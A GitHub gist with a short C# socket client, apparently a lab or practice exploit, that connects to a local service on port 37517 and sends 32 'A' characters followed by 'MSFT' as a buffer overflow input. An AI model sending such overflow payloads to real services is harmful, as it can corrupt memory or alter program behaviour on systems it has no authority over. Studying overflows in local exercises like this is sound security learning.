Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
using System;
using System.Net.Sockets;
using System.Text;
namespace BufferOverflowSocketClient
{
public class Program
{
public static void Main(string[] args)
{
string sendData = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMSFT";
using(TcpClient client = new TcpClient("127.0.0.1", 37517))
{
client.SendTimeout = 3;
using(NetworkStream stream = client.GetStream())
{
byte[] data = new byte[4096];
string response = "";
int bytes = stream.Read(data, 0, data.Length);
response = Encoding.ASCII.GetString(data, 0, bytes);
Console.WriteLine(response);
data = Encoding.ASCII.GetBytes(sendData);
stream.Write(data, 0, data.Length);
data = new byte[4096];
response = "";
bytes = stream.Read(data, 0, data.Length);
response = Encoding.ASCII.GetString(data, 0, bytes);
Console.WriteLine(response);
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment